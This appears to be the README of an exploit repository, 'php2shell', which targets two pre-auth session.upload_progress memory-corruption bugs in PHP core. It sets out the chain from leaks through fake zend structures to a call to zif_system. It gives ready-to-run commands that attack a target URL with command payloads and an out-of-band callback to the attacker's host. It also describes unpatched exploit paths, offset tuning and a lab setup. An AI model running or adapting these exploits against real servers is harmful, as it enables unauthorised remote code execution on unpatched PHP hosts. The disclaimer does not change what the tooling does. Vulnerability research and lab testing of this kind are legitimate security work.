Two pre-auth session.upload_progress bugs in PHP core. This repository has the mechanics, a working remote chain on stock php.ini-production, four more exploit paths, and the post-patch evidence.

中文 · Download: php2shell v2.1

MITRE: PUBLISHED (2026-10-21) · NVD: not yet ingested · php.net: advisory published.

Contents: Verdict · Defenders · The two CVEs · Exploit paths · CVE flow · After the patch · Tests · Quick start · Status · Limits · Files

Note: patching closes the two CVEs; the var_destroy UAF, the handler mismatch and session injection still work on 8.5.12.

Fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12. Root cause and official analysis: analysis/13 (Chinese), analysis/11.

chunked multipart ──► post_max_size bypass
A1  OOM in END-cleanup php_url_encode ──► dangling PS(id), send_cookie=1
B1  forged zend_string (len 0xC8000) ──► 800 KB Set-Cookie read
      ├─ 2 MB-aligned chunk buckets ──► chunk base
      └─ zval_ptr_dtor ×1095        ──► libphp base
A2  cheap OOM ──► dangling PS(http_session_vars)
B2  fake zend_reference ──► fake zend_array, pDestructor = zif_system

python3 exploit/php2shell.py auto -u http://TARGET/ \
    --oob http://YOUR_HOST:9100/x --probes 30

rotate worker ──► Set-Cookie leak (chunk base) ──► Set-Cookie leak (libphp base)
    └─ upload_progress fake reference + fake HashTable ──► pDestructor = zif_system

python3 exploit/cve/remote_cve.py -u http://TARGET/index.php \
    --libphp /path/libphp.so --cmd 'id>/tmp/p1'

python3 exploit/auto_exp.py --php /path/to/php --cmd 'id > /tmp/proof' --proof /tmp/proof

python3 exploit/remote/handler_mismatch.py --seed http://TARGET/app/index.php \
    --fire http://TARGET/api/index.php --cmd 'id > /tmp/proof'

filename / progress value ──► session file keeps it raw ──► application include() ──► RCE

multipart POST ──► php_hash_environment()          ← before RINIT
                        ├─ serialize   encode ──► OOM ──► BG(serialize)   orphaned
                        └─ unserialize decode ──► OOM ──► BG(unserialize) orphaned
                        ▼
              worker survives? ── yes ──► next request reuses the freed context
                        no ──► DoS only

# fingerprint, pick a chain, run it (out-of-band proof)
python3 exploit/php2shell.py finger -u http://TARGET/
python3 exploit/php2shell.py auto -u http://TARGET/ \
    --oob http://YOUR_HOST:9100/x --probes 30

# or with a proof file on a shared mount
python3 exploit/php2shell.py auto -u http://TARGET/ \
    --cmd 'id>/out/p1' --proof /tmp/p1

Other subcommands: local (local UAF) and mismatch (handler mismatch).

docker compose -f lab/cve/docker-compose.yml up -d
python3 exploit/php2shell.py auto -u http://127.0.0.1:8088/ \
    --cmd 'id>/out/p1' --proof ./lab/cve/out/p1

• bookworm: the production chain fails at B1 (the A1/B1 shaping differs);
• 8.4.20 / 8.5.11: unpatched, but A1 reaches the OOM and B1 never leaks — recalibration needs gdb-level instrumentation;
• FPM: the startup OOM kills the child, so the cross-request primitive has no consumer; an FPM path needs an application-level producer;
• middleboxes: WAF, proxy body limits and timeouts were not tested;
• offsets: per build (--zif-off/--dtor-off/--s-off, --auto covers the verified ones).

The vulnerabilities and several techniques come from public work; our code is an independent implementation. Full list with links: CREDITS.md. Key names: 9bie (production-ini chain technique), ikow (MIT, var_destroy analysis), dinosn (UAF research), junaire (handler-mismatch client), Calif.io (original unserialize research), the PHP advisory reporters and remediation developers.

Research and educational use only. Do not use against systems you do not own or have written permission to test. No responsibility or liability for misuse or damage. See DISCLAIMER.md.

Local builds (8.3.36, 8.4.20/25/26, 8.5.4/11/12), local Apache / php-fpm / Docker labs, and the Ubuntu package named above. Commands run as the PHP process user.